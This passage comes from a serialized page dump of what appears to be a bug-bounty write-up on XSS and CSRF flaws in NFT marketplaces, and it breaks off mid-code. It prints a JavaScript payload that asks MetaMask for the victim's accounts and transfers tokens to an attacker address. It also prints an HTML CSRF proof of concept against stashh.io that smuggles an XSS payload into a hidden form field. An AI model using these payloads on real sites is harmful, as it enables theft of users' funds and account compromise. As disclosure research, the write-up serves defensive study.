flex-direction:column;",[33289],{"type":22,"tag":5928,"props":33290,"children":33294},{"src":33291,"alt":33292,"style":33293},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":22,"tag":31,"props":33296,"children":33297},{},[33298],{"type":28,"value":33299},"And here we can find the code used to achieve it :",{"type":22,"tag":107,"props":33301,"children":33305},{"className":33302,"code":33303,"language":33304,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n  if (typeof window.ethereum === 'undefined') {\n    console.error('Please install MetaMask to use this feature.');\n  } else {\n    ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n      const fromAddress = accounts[0];\n      const attackerAddress = '0x0000000000000000000000000000000000000000';\n      const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n      let tokenAbi = [\n        {\n          constant: false,\n          inputs: [\n            {\n              name: '_to',\n              type: 'address',\n            },\n            {\n              name: '_value',\n              type: 'uint256',\n            },\n          ],\n          name: 'transfer',\n          outputs: [\n            {\n              name: '',\n              type: 'bool',\n            },\n          ],\n          type: 'function',\n        },\n      ];\n\n      const web3 = new Web3(window.ethereum);\n\n      const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n      const transactionObject = {\n        from: fromAddress,\n        to: contractAddress,\n        data: tokenContract.methods\n          .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n          .encodeABI(),\n      };\n\n      web3.eth.sendTransaction(transactionObject);\n    });\n  }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[33306],{"type":22,"tag":114,"props":33307,"children":33308},{"__ignoreMap":7},[33309,33326,33371,33400,33416,33479,33514,33539,33564,33571,33591,33599,33615,33627,33635,33652,33669,33677,33684,33700,33716,33723,33731,33748,33760,33767,33783,33799,33806,33813,33830,33837,33845,33852,33898,33905,33969,33976,33996,34012,34028,34049,34120,34136,34143,34150,34188,34196,34203,34210,34217,34238],{"type":22,"tag":118,"props":33310,"children":33311},{"class":120,"line":121},[33312,33317,33322],{"type":22,"tag":118,"props":33313,"children":33314},{"style":146},[33315],{"type":28,"value":33316},"function",{"type":22,"tag":118,"props":33318,"children":33319},{"style":532},[33320],{"type":28,"value":33321}," request",{"type":22,"tag":118,"props":33323,"children":33324},{"style":125},[33325],{"type":28,"value":2215},{"type":22,"tag":118,"props":33327,"children":33328},{"class":120,"line":142},[33329,33334,33338,33343,33348,33352,33357,33362,33367],{"type":22,"tag":118,"props":33330,"children":33331},{"style":1480},[33332],{"type":28,"value":33333},"  if",{"type":22,"tag":118,"props":33335,"children":33336},{"style":125},[33337],{"type":28,"value":842},{"type":22,"tag":118,"props":33339,"children":33340},{"style":146},[33341],{"type":28,"value":33342},"typeof",{"type":22,"tag":118,"props":33344,"children":33345},{"style":204},[33346],{"type":28,"value":33347}," window",{"type":22,"tag":118,"props":33349,"children":33350},{"style":125},[33351],{"type":28,"value":292},{"type":22,"tag":118,"props":33353,"children":33354},{"style":204},[33355],{"type":28,"value":33356},"ethereum",{"type":22,"tag":118,"props":33358,"children":33359},{"style":210},[33360],{"type":28,"value":33361}," ===",{"type":22,"tag":118,"props":33363,"children":33364},{"style":1866},[33365],{"type":28,"value":33366}," 'undefined'",{"type":22,"tag":118,"props":33368,"children":33369},{"style":125},[33370],{"type":28,"value":16783},{"type":22,"tag":118,"props":33372,"children":33373},{"class":120,"line":177},[33374,33379,33383,33387,33391,33396],{"type":22,"tag":118,"props":33375,"children":33376},{"style":204},[33377],{"type":28,"value":33378},"    console",{"type":22,"tag":118,"props":33380,"children":33381},{"style":125},[33382],{"type":28,"value":292},{"type":22,"tag":118,"props":33384,"children":33385},{"style":532},[33386],{"type":28,"value":16841},{"type":22,"tag":118,"props":33388,"children":33389},{"style":125},[33390],{"type":28,"value":540},{"type":22,"tag":118,"props":33392,"children":33393},{"style":1866},[33394],{"type":28,"value":33395},"'Please install MetaMask to use this feature.'",{"type":22,"tag":118,"props":33397,"children":33398},{"style":125},[33399],{"type":28,"value":682},{"type":22,"tag":118,"props":33401,"children":33402},{"class":120,"line":195},[33403,33408,33412],{"type":22,"tag":118,"props":33404,"children":33405},{"style":125},[33406],{"type":28,"value":33407},"  } ",{"type":22,"tag":118,"props":33409,"children":33410},{"style":1480},[33411],{"type":28,"value":5335},{"type":22,"tag":118,"props":33413,"children":33414},{"style":125},[33415],{"type":28,"value":1474},{"type":22,"tag":118,"props":33417,"children":33418},{"class":120,"line":244},[33419,33424,33428,33433,33438,33443,33448,33453,33458,33463,33467,33471,33475],{"type":22,"tag":118,"props":33420,"children":33421},{"style":204},[33422],{"type":28,"value":33423},"    ethereum",{"type":22,"tag":118,"props":33425,"children":33426},{"style":125},[33427],{"type":28,"value":292},{"type":22,"tag":118,"props":33429,"children":33430},{"style":532},[33431],{"type":28,"value":33432},"request",{"type":22,"tag":118,"props":33434,"children":33435},{"style":125},[33436],{"type":28,"value":33437},"({ ",{"type":22,"tag":118,"props":33439,"children":33440},{"style":204},[33441],{"type":28,"value":33442},"method:",{"type":22,"tag":118,"props":33444,"children":33445},{"style":1866},[33446],{"type":28,"value":33447}," 'eth_requestAccounts'",{"type":22,"tag":118,"props":33449,"children":33450},{"style":125},[33451],{"type":28,"value":33452}," }).",{"type":22,"tag":118,"props":33454,"children":33455},{"style":532},[33456],{"type":28,"value":33457},"then",{"type":22,"tag":118,"props":33459,"children":33460},{"style":125},[33461],{"type":28,"value":33462},"((",{"type":22,"tag":118,"props":33464,"children":33465},{"style":204},[33466],{"type":28,"value":648},{"type":22,"tag":118,"props":33468,"children":33469},{"style":125},[33470],{"type":28,"value":588},{"type":22,"tag":118,"props":33472,"children":33473},{"style":146},[33474],{"type":28,"value":1616},{"type":22,"tag":118,"props":33476,"children":33477},{"style":125},[33478],{"type":28,"value":1474},{"type":22,"tag":118,"props":33480,"children":33481},{"class":120,"line":253},[33482,33487,33492,33496,33501,33505,33509],{"type":22,"tag":118,"props":33483,"children":33484},{"style":146},[33485],{"type":28,"value":33486},"      const",{"type":22,"tag":118,"props":33488,"children":33489},{"style":204},[33490],{"type":28,"value":33491}," fromAddress",{"type":22,"tag":118,"props":33493,"children":33494},{"style":210},[33495],{"type":28,"value":837},{"type":22,"tag":118,"props":33497,"children":33498},{"style":204},[33499],{"type":28,"value":33500}," accounts",{"type":22,"tag":118,"props":33502,"children":33503},{"style":125},[33504],{"type":28,"value":5746},{"type":22,"tag":118,"props":33506,"children":33507},{"style":674},[33508],{"type":28,"value":6036},{"type":22,"tag":118,"props":33510,"children":33511},{"style":125},[33512],{"type":28,"value":33513},"];\n",{"type":22,"tag":118,"props":33515,"children":33516},{"class":120,"line":263},[33517,33521,33526,33530,33535],{"type":22,"tag":118,"props":33518,"children":33519},{"style":146},[33520],{"type":28,"value":33486},{"type":22,"tag":118,"props":33522,"children":33523},{"style":204},[33524],{"type":28,"value":33525}," attackerAddress",{"type":22,"tag":118,"props":33527,"children":33528},{"style":210},[33529],{"type":28,"value":837},{"type":22,"tag":118,"props":33531,"children":33532},{"style":1866},[33533],{"type":28,"value":33534}," '0x0000000000000000000000000000000000000000'",{"type":22,"tag":118,"props":33536,"children":33537},{"style":125},[33538],{"type":28,"value":801},{"type":22,"tag":118,"props":33540,"children":33541},{"class":120,"line":318},[33542,33546,33551,33555,33560],{"type":22,"tag":118,"props":33543,"children":33544},{"style":146},[33545],{"type":28,"value":33486},{"type":22,"tag":118,"props":33547,"children":33548},{"style":204},[33549],{"type":28,"value":33550}," contractAddress",{"type":22,"tag":118,"props":33552,"children":33553},{"style":210},[33554],{"type":28,"value":837},{"type":22,"tag":118,"props":33556,"children":33557},{"style":1866},[33558],{"type":28,"value":33559}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":22,"tag":118,"props":33561,"children":33562},{"style":125},[33563],{"type":28,"value":801},{"type":22,"tag":118,"props":33565,"children":33566},{"class":120,"line":351},[33567],{"type":22,"tag":118,"props":33568,"children":33569},{"emptyLinePlaceholder":15},[33570],{"type":28,"value":250},{"type":22,"tag":118,"props":33572,"children":33573},{"class":120,"line":359},[33574,33578,33583,33587],{"type":22,"tag":118,"props":33575,"children":33576},{"style":146},[33577],{"type":28,"value":10079},{"type":22,"tag":118,"props":33579,"children":33580},{"style":204},[33581],{"type":28,"value":33582}," tokenAbi",{"type":22,"tag":118,"props":33584,"children":33585},{"style":210},[33586],{"type":28,"value":837},{"type":22,"tag":118,"props":33588,"children":33589},{"style":125},[33590],{"type":28,"value":27564},{"type":22,"tag":118,"props":33592,"children":33593},{"class":120,"line":368},[33594],{"type":22,"tag":118,"props":33595,"children":33596},{"style":125},[33597],{"type":28,"value":33598},"        {\n",{"type":22,"tag":118,"props":33600,"children":33601},{"class":120,"line":384},[33602,33607,33611],{"type":22,"tag":118,"props":33603,"children":33604},{"style":204},[33605],{"type":28,"value":33606},"          constant:",{"type":22,"tag":118,"props":33608,"children":33609},{"style":146},[33610],{"type":28,"value":1678},{"type":22,"tag":118,"props":33612,"children":33613},{"style":125},[33614],{"type":28,"value":782},{"type":22,"tag":118,"props":33616,"children":33617},{"class":120,"line":417},[33618,33623],{"type":22,"tag":118,"props":33619,"children":33620},{"style":204},[33621],{"type":28,"value":33622},"          inputs:",{"type":22,"tag":118,"props":33624,"children":33625},{"style":125},[33626],{"type":28,"value":27564},{"type":22,"tag":118,"props":33628,"children":33629},{"class":120,"line":425},[33630],{"type":22,"tag":118,"props":33631,"children":33632},{"style":125},[33633],{"type":28,"value":33634},"            {\n",{"type":22,"tag":118,"props":33636,"children":33637},{"class":120,"line":441},[33638,33643,33648],{"type":22,"tag":118,"props":33639,"children":33640},{"style":204},[33641],{"type":28,"value":33642},"              name:",{"type":22,"tag":118,"props":33644,"children":33645},{"style":1866},[33646],{"type":28,"value":33647}," '_to'",{"type":22,"tag":118,"props":33649,"children":33650},{"style":125},[33651],{"type":28,"value":782},{"type":22,"tag":118,"props":33653,"children":33654},{"class":120,"line":475},[33655,33660,33665],{"type":22,"tag":118,"props":33656,"children":33657},{"style":204},[33658],{"type":28,"value":33659},"              type:",{"type":22,"tag":118,"props":33661,"children":33662},{"style":1866},[33663],{"type":28,"value":33664}," 'address'",{"type":22,"tag":118,"props":33666,"children":33667},{"style":125},[33668],{"type":28,"value":782},{"type":22,"tag":118,"props":33670,"children":33671},{"class":120,"line":484},[33672],{"type":22,"tag":118,"props":33673,"children":33674},{"style":125},[33675],{"type":28,"value":33676},"            },\n",{"type":22,"tag":118,"props":33678,"children":33679},{"class":120,"line":492},[33680],{"type":22,"tag":118,"props":33681,"children":33682},{"style":125},[33683],{"type":28,"value":33634},{"type":22,"tag":118,"props":33685,"children":33686},{"class":120,"line":501},[33687,33691,33696],{"type":22,"tag":118,"props":33688,"children":33689},{"style":204},[33690],{"type":28,"value":33642},{"type":22,"tag":118,"props":33692,"children":33693},{"style":1866},[33694],{"type":28,"value":33695}," '_value'",{"type":22,"tag":118,"props":33697,"children":33698},{"style":125},[33699],{"type":28,"value":782},{"type":22,"tag":118,"props":33701,"children":33702},{"class":120,"line":519},[33703,33707,33712],{"type":22,"tag":118,"props":33704,"children":33705},{"style":204},[33706],{"type":28,"value":33659},{"type":22,"tag":118,"props":33708,"children":33709},{"style":1866},[33710],{"type":28,"value":33711}," 'uint256'",{"type":22,"tag":118,"props":33713,"children":33714},{"style":125},[33715],{"type":28,"value":782},{"type":22,"tag":118,"props":33717,"children":33718},{"class":120,"line":606},[33719],{"type":22,"tag":118,"props":33720,"children":33721},{"style":125},[33722],{"type":28,"value":33676},{"type":22,"tag":118,"props":33724,"children":33725},{"class":120,"line":615},[33726],{"type":22,"tag":118,"props":33727,"children":33728},{"style":125},[33729],{"type":28,"value":33730},"          ],\n",{"type":22,"tag":118,"props":33732,"children":33733},{"class":120,"line":685},[33734,33739,33744],{"type":22,"tag":118,"props":33735,"children":33736},{"style":204},[33737],{"type":28,"value":33738},"          name:",{"type":22,"tag":118,"props":33740,"children":33741},{"style":1866},[33742],{"type":28,"value":33743}," 'transfer'",{"type":22,"tag":118,"props":33745,"children":33746},{"style":125},[33747],{"type":28,"value":782},{"type":22,"tag":118,"props":33749,"children":33750},{"class":120,"line":699},[33751,33756],{"type":22,"tag":118,"props":33752,"children":33753},{"style":204},[33754],{"type":28,"value":33755},"          outputs:",{"type":22,"tag":118,"props":33757,"children":33758},{"style":125},[33759],{"type":28,"value":27564},{"type":22,"tag":118,"props":33761,"children":33762},{"class":120,"line":729},[33763],{"type":22,"tag":118,"props":33764,"children":33765},{"style":125},[33766],{"type":28,"value":33634},{"type":22,"tag":118,"props":33768,"children":33769},{"class":120,"line":771},[33770,33774,33779],{"type":22,"tag":118,"props":33771,"children":33772},{"style":204},[33773],{"type":28,"value":33642},{"type":22,"tag":118,"props":33775,"children":33776},{"style":1866},[33777],{"type":28,"value":33778}," ''",{"type":22,"tag":118,"props":33780,"children":33781},{"style":125},[33782],{"type":28,"value":782},{"type":22,"tag":118,"props":33784,"children":33785},{"class":120,"line":785},[33786,33790,33795],{"type":22,"tag":118,"props":33787,"children":33788},{"style":204},[33789],{"type":28,"value":33659},{"type":22,"tag":118,"props":33791,"children":33792},{"style":1866},[33793],{"type":28,"value":33794}," 'bool'",{"type":22,"tag":118,"props":33796,"children":33797},{"style":125},[33798],{"type":28,"value":782},{"type":22,"tag":118,"props":33800,"children":33801},{"class":120,"line":804},[33802],{"type":22,"tag":118,"props":33803,"children":33804},{"style":125},[33805],{"type":28,"value":33676},{"type":22,"tag":118,"props":33807,"children":33808},{"class":120,"line":812},[33809],{"type":22,"tag":118,"props":33810,"children":33811},{"style":125},[33812],{"type":28,"value":33730},{"type":22,"tag":118,"props":33814,"children":33815},{"class":120,"line":821},[33816,33821,33826],{"type":22,"tag":118,"props":33817,"children":33818},{"style":204},[33819],{"type":28,"value":33820},"          type:",{"type":22,"tag":118,"props":33822,"children":33823},{"style":1866},[33824],{"type":28,"value":33825}," 'function'",{"type":22,"tag":118,"props":33827,"children":33828},{"style":125},[33829],{"type":28,"value":782},{"type":22,"tag":118,"props":33831,"children":33832},{"class":120,"line":900},[33833],{"type":22,"tag":118,"props":33834,"children":33835},{"style":125},[33836],{"type":28,"value":27317},{"type":22,"tag":118,"props":33838,"children":33839},{"class":120,"line":913},[33840],{"type":22,"tag":118,"props":33841,"children":33842},{"style":125},[33843],{"type":28,"value":33844},"      ];\n",{"type":22,"tag":118,"props":33846,"children":33847},{"class":120,"line":953},[33848],{"type":22,"tag":118,"props":33849,"children":33850},{"emptyLinePlaceholder":15},[33851],{"type":28,"value":250},{"type":22,"tag":118,"props":33853,"children":33854},{"class":120,"line":982},[33855,33859,33864,33868,33872,33877,33881,33886,33890,33894],{"type":22,"tag":118,"props":33856,"children":33857},{"style":146},[33858],{"type":28,"value":33486},{"type":22,"tag":118,"props":33860,"children":33861},{"style":204},[33862],{"type":28,"value":33863}," web3",{"type":22,"tag":118,"props":33865,"children":33866},{"style":210},[33867],{"type":28,"value":837},{"type":22,"tag":118,"props":33869,"children":33870},{"style":146},[33871],{"type":28,"value":3442},{"type":22,"tag":118,"props":33873,"children":33874},{"style":532},[33875],{"type":28,"value":33876}," Web3",{"type":22,"tag":118,"props":33878,"children":33879},{"style":125},[33880],{"type":28,"value":540},{"type":22,"tag":118,"props":33882,"children":33883},{"style":204},[33884],{"type":28,"value":33885},"window",{"type":22,"tag":118,"props":33887,"children":33888},{"style":125},[33889],{"type":28,"value":292},{"type":22,"tag":118,"props":33891,"children":33892},{"style":204},[33893],{"type":28,"value":33356},{"type":22,"tag":118,"props":33895,"children":33896},{"style":125},[33897],{"type":28,"value":682},{"type":22,"tag":118,"props":33899,"children":33900},{"class":120,"line":995},[33901],{"type":22,"tag":118,"props":33902,"children":33903},{"emptyLinePlaceholder":15},[33904],{"type":28,"value":250},{"type":22,"tag":118,"props":33906,"children":33907},{"class":120,"line":1011},[33908,33912,33917,33921,33925,33929,33933,33938,33942,33947,33951,33956,33960,33965],{"type":22,"tag":118,"props":33909,"children":33910},{"style":146},[33911],{"type":28,"value":33486},{"type":22,"tag":118,"props":33913,"children":33914},{"style":204},[33915],{"type":28,"value":33916}," tokenContract",{"type":22,"tag":118,"props":33918,"children":33919},{"style":210},[33920],{"type":28,"value":837},{"type":22,"tag":118,"props":33922,"children":33923},{"style":146},[33924],{"type":28,"value":3442},{"type":22,"tag":118,"props":33926,"children":33927},{"style":204},[33928],{"type":28,"value":33863},{"type":22,"tag":118,"props":33930,"children":33931},{"style":125},[33932],{"type":28,"value":292},{"type":22,"tag":118,"props":33934,"children":33935},{"style":204},[33936],{"type":28,"value":33937},"eth",{"type":22,"tag":118,"props":33939,"children":33940},{"style":125},[33941],{"type":28,"value":292},{"type":22,"tag":118,"props":33943,"children":33944},{"style":532},[33945],{"type":28,"value":33946},"Contract",{"type":22,"tag":118,"props":33948,"children":33949},{"style":125},[33950],{"type":28,"value":540},{"type":22,"tag":118,"props":33952,"children":33953},{"style":204},[33954],{"type":28,"value":33955},"tokenAbi",{"type":22,"tag":118,"props":33957,"children":33958},{"style":125},[33959],{"type":28,"value":231},{"type":22,"tag":118,"props":33961,"children":33962},{"style":204},[33963],{"type":28,"value":33964},"contractAddress",{"type":22,"tag":118,"props":33966,"children":33967},{"style":125},[33968],{"type":28,"value":682},{"type":22,"tag":118,"props":33970,"children":33971},{"class":120,"line":1019},[33972],{"type":22,"tag":118,"props":33973,"children":33974},{"emptyLinePlaceholder":15},[33975],{"type":28,"value":250},{"type":22,"tag":118,"props":33977,"children":33978},{"class":120,"line":1028},[33979,33983,33988,33992],{"type":22,"tag":118,"props":33980,"children":33981},{"style":146},[33982],{"type":28,"value":33486},{"type":22,"tag":118,"props":33984,"children":33985},{"style":204},[33986],{"type":28,"value":33987}," transactionObject",{"type":22,"tag":118,"props":33989,"children":33990},{"style":210},[33991],{"type":28,"value":837},{"type":22,"tag":118,"props":33993,"children":33994},{"style":125},[33995],{"type":28,"value":1474},{"type":22,"tag":118,"props":33997,"children":33998},{"class":120,"line":1101},[33999,34004,34008],{"type":22,"tag":118,"props":34000,"children":34001},{"style":204},[34002],{"type":28,"value":34003},"        from:",{"type":22,"tag":118,"props":34005,"children":34006},{"style":204},[34007],{"type":28,"value":33491},{"type":22,"tag":118,"props":34009,"children":34010},{"style":125},[34011],{"type":28,"value":782},{"type":22,"tag":118,"props":34013,"children":34014},{"class":120,"line":1146},[34015,34020,34024],{"type":22,"tag":118,"props":34016,"children":34017},{"style":204},[34018],{"type":28,"value":34019},"        to:",{"type":22,"tag":118,"props":34021,"children":34022},{"style":204},[34023],{"type":28,"value":33550},{"type":22,"tag":118,"props":34025,"children":34026},{"style":125},[34027],{"type":28,"value":782},{"type":22,"tag":118,"props":34029,"children":34030},{"class":120,"line":1226},[34031,34036,34040,34044],{"type":22,"tag":118,"props":34032,"children":34033},{"style":204},[34034],{"type":28,"value":34035},"        data:",{"type":22,"tag":118,"props":34037,"children":34038},{"style":204},[34039],{"type":28,"value":33916},{"type":22,"tag":118,"props":34041,"children":34042},{"style":125},[34043],{"type":28,"value":292},{"type":22,"tag":118,"props":34045,"children":34046},{"style":204},[34047],{"type":28,"value":34048},"methods\n",{"type":22,"tag":118,"props":34050,"children":34051},{"class":120,"line":1234},[34052,34057,34062,34066,34071,34075,34080,34084,34089,34093,34098,34102,34107,34111,34116],{"type":22,"tag":118,"props":34053,"children":34054},{"style":125},[34055],{"type":28,"value":34056},"          .",{"type":22,"tag":118,"props":34058,"children":34059},{"style":532},[34060],{"type":28,"value":34061},"transfer",{"type":22,"tag":118,"props":34063,"children":34064},{"style":125},[34065],{"type":28,"value":540},{"type":22,"tag":118,"props":34067,"children":34068},{"style":204},[34069],{"type":28,"value":34070},"attackerAddress",{"type":22,"tag":118,"props":34072,"children":34073},{"style":125},[34074],{"type":28,"value":231},{"type":22,"tag":118,"props":34076,"children":34077},{"style":204},[34078],{"type":28,"value":34079},"web3",{"type":22,"tag":118,"props":34081,"children":34082},{"style":125},[34083],{"type":28,"value":292},{"type":22,"tag":118,"props":34085,"children":34086},{"style":204},[34087],{"type":28,"value":34088},"utils",{"type":22,"tag":118,"props":34090,"children":34091},{"style":125},[34092],{"type":28,"value":292},{"type":22,"tag":118,"props":34094,"children":34095},{"style":532},[34096],{"type":28,"value":34097},"toWei",{"type":22,"tag":118,"props":34099,"children":34100},{"style":125},[34101],{"type":28,"value":540},{"type":22,"tag":118,"props":34103,"children":34104},{"style":1866},[34105],{"type":28,"value":34106},"'100000000'",{"type":22,"tag":118,"props":34108,"children":34109},{"style":125},[34110],{"type":28,"value":231},{"type":22,"tag":118,"props":34112,"children":34113},{"style":1866},[34114],{"type":28,"value":34115},"'ether'",{"type":22,"tag":118,"props":34117,"children":34118},{"style":125},[34119],{"type":28,"value":3334},{"type":22,"tag":118,"props":34121,"children":34122},{"class":120,"line":1248},[34123,34127,34132],{"type":22,"tag":118,"props":34124,"children":34125},{"style":125},[34126],{"type":28,"value":34056},{"type":22,"tag":118,"props":34128,"children":34129},{"style":532},[34130],{"type":28,"value":34131},"encodeABI",{"type":22,"tag":118,"props":34133,"children":34134},{"style":125},[34135],{"type":28,"value":768},{"type":22,"tag":118,"props":34137,"children":34138},{"class":120,"line":1257},[34139],{"type":22,"tag":118,"props":34140,"children":34141},{"style":125},[34142],{"type":28,"value":10921},{"type":22,"tag":118,"props":34144,"children":34145},{"class":120,"line":25765},[34146],{"type":22,"tag":118,"props":34147,"children":34148},{"emptyLinePlaceholder":15},[34149],{"type":28,"value":250},{"type":22,"tag":118,"props":34151,"children":34152},{"class":120,"line":25778},[34153,34158,34162,34166,34170,34175,34179,34184],{"type":22,"tag":118,"props":34154,"children":34155},{"style":204},[34156],{"type":28,"value":34157},"      web3",{"type":22,"tag":118,"props":34159,"children":34160},{"style":125},[34161],{"type":28,"value":292},{"type":22,"tag":118,"props":34163,"children":34164},{"style":204},[34165],{"type":28,"value":33937},{"type":22,"tag":118,"props":34167,"children":34168},{"style":125},[34169],{"type":28,"value":292},{"type":22,"tag":118,"props":34171,"children":34172},{"style":532},[34173],{"type":28,"value":34174},"sendTransaction",{"type":22,"tag":118,"props":34176,"children":34177},{"style":125},[34178],{"type":28,"value":540},{"type":22,"tag":118,"props":34180,"children":34181},{"style":204},[34182],{"type":28,"value":34183},"transactionObject",{"type":22,"tag":118,"props":34185,"children":34186},{"style":125},[34187],{"type":28,"value":682},{"type":22,"tag":118,"props":34189,"children":34190},{"class":120,"line":25791},[34191],{"type":22,"tag":118,"props":34192,"children":34193},{"style":125},[34194],{"type":28,"value":34195},"    });\n",{"type":22,"tag":118,"props":34197,"children":34198},{"class":120,"line":25804},[34199],{"type":22,"tag":118,"props":34200,"children":34201},{"style":125},[34202],{"type":28,"value":7881},{"type":22,"tag":118,"props":34204,"children":34205},{"class":120,"line":25858},[34206],{"type":22,"tag":118,"props":34207,"children":34208},{"style":125},[34209],{"type":28,"value":481},{"type":22,"tag":118,"props":34211,"children":34212},{"class":120,"line":25867},[34213],{"type":22,"tag":118,"props":34214,"children":34215},{"emptyLinePlaceholder":15},[34216],{"type":28,"value":250},{"type":22,"tag":118,"props":34218,"children":34220},{"class":120,"line":34219},51,[34221,34225,34229,34234],{"type":22,"tag":118,"props":34222,"children":34223},{"style":146},[34224],{"type":28,"value":21451},{"type":22,"tag":118,"props":34226,"children":34227},{"style":125},[34228],{"type":28,"value":540},{"type":22,"tag":118,"props":34230,"children":34231},{"style":1866},[34232],{"type":28,"value":34233},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":22,"tag":118,"props":34235,"children":34236},{"style":125},[34237],{"type":28,"value":682},{"type":22,"tag":118,"props":34239,"children":34241},{"class":120,"line":34240},52,[34242,34247,34251,34255,34259,34264],{"type":22,"tag":118,"props":34243,"children":34244},{"style":532},[34245],{"type":28,"value":34246},"setTimeout",{"type":22,"tag":118,"props":34248,"children":34249},{"style":125},[34250],{"type":28,"value":540},{"type":22,"tag":118,"props":34252,"children":34253},{"style":204},[34254],{"type":28,"value":33432},{"type":22,"tag":118,"props":34256,"children":34257},{"style":125},[34258],{"type":28,"value":231},{"type":22,"tag":118,"props":34260,"children":34261},{"style":674},[34262],{"type":28,"value":34263},"1e3",{"type":22,"tag":118,"props":34265,"children":34266},{"style":125},[34267],{"type":28,"value":682},{"type":22,"tag":31,"props":34269,"children":34270},{},[34271,34276],{"type":22,"tag":74,"props":34272,"children":34273},{},[34274],{"type":28,"value":34275},"CSRF & XSS",{"type":28,"value":34277},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":22,"tag":31,"props":34279,"children":34280},{},[34281,34283,34288],{"type":28,"value":34282},"Our attention was drawn to ",{"type":22,"tag":42,"props":34284,"children":34286},{"href":33219,"rel":34285},[46],[34287],{"type":28,"value":33223},{"type":28,"value":34289},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":22,"tag":31,"props":34291,"children":34292},{},[34293],{"type":22,"tag":5928,"props":34294,"children":34296},{"alt":7,"src":34295},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":22,"tag":31,"props":34298,"children":34299},{},[34300],{"type":28,"value":34301},"and here there is the code:",{"type":22,"tag":107,"props":34303,"children":34305},{"className":33302,"code":34304,"language":33304,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[34306],{"type":22,"tag":114,"props":34307,"children":34308},{"__ignoreMap":7},[34309,34326,34343,34377,34463,34520,34719,34760,34776,34792,34799,34814,34821,34833,34892,34899,34962,34991,35029,35036,35074,35087,35094,35109],{"type":22,"tag":118,"props":34310,"children":34311},{"class":120,"line":121},[34312,34317,34322],{"type":22,"tag":118,"props":34313,"children":34315},{"style":34314},"--shiki-default:#808080",[34316],{"type":28,"value":559},{"type":22,"tag":118,"props":34318,"children":34319},{"style":146},[34320],{"type":28,"value":34321},"html",{"type":22,"tag":118,"props":34323,"children":34324},{"style":34314},[34325],{"type":28,"value":8002},{"type":22,"tag":118,"props":34327,"children":34328},{"class":120,"line":142},[34329,34334,34339],{"type":22,"tag":118,"props":34330,"children":34331},{"style":34314},[34332],{"type":28,"value":34333},"  \u003C",{"type":22,"tag":118,"props":34335,"children":34336},{"style":146},[34337],{"type":28,"value":34338},"body",{"type":22,"tag":118,"props":34340,"children":34341},{"style":34314},[34342],{"type":28,"value":8002},{"type":22,"tag":118,"props":34344,"children":34345},{"class":120,"line":177},[34346,34350,34355,34359,34364,34369,34373],{"type":22,"tag":118,"props":34347,"children":34348},{"style":34314},[34349],{"type":28,"value":34333},{"type":22,"tag":118,"props":34351,"children":34352},{"style":146},[34353],{"type":28,"value":34354},"script",{"type":22,"tag":118,"props":34356,"children":34357},{"style":34314},[34358],{"type":28,"value":12460},{"type":22,"tag":118,"props":34360,"children":34361},{"style":125},[34362],{"type":28,"value":34363},"history.pushState('', '', '/')",{"type":22,"tag":118,"props":34365,"children":34366},{"style":34314},[34367],{"type":28,"value":34368},"\u003C/",{"type":22,"tag":118,"props":34370,"children":34371},{"style":146},[34372],{"type":28,"value":34354},{"type":22,"tag":118,"props":34374,"children":34375},{"style":34314},[34376],{"type":28,"value":8002},{"type":22,"tag":118,"props":34378,"children":34379},{"class":120,"line":195},[34380,34385,34390,34395,34399,34404,34409,34413,34418,34422,34426,34431,34436,34440,34445,34450,34454,34459],{"type":22,"tag":118,"props":34381,"children":34382},{"style":34314},[34383],{"type":28,"value":34384},"    \u003C",{"type":22,"tag":118,"props":34386,"children":34387},{"style":146},[34388],{"type":28,"value":34389},"form",{"type":22,"tag":118,"props":34391,"children":34392},{"style":204},[34393],{"type":28,"value":34394}," id",{"type":22,"tag":118,"props":34396,"children":34397},{"style":210},[34398],{"type":28,"value":282},{"type":22,"tag":118,"props":34400,"children":34401},{"style":1866},[34402],{"type":28,"value":34403},"\"form123\"",{"type":22,"tag":118,"props":34405,"children":34406},{"style":204},[34407],{"type":28,"value":34408}," action",{"type":22,"tag":118,"props":34410,"children":34411},{"style":210},[34412],{"type":28,"value":282},{"type":22,"tag":118,"props":34414,"children":34415},{"style":1866},[34416],{"type":28,"value":34417},"\"https://stashh.io/upload_asset\"",{"type":22,"tag":118,"props":34419,"children":34420},{"style":204},[34421],{"type":28,"value":19075},{"type":22,"tag":118,"props":34423,"children":34424},{"style":210},[34425],{"type":28,"value":282},{"type":22,"tag":118,"props":34427,"children":34428},{"style":1866},[34429],{"type":28,"value":34430},"\"POST\"",{"type":22,"tag":118,"props":34432,"children":34433},{"style":204},[34434],{"type":28,"value":34435}," 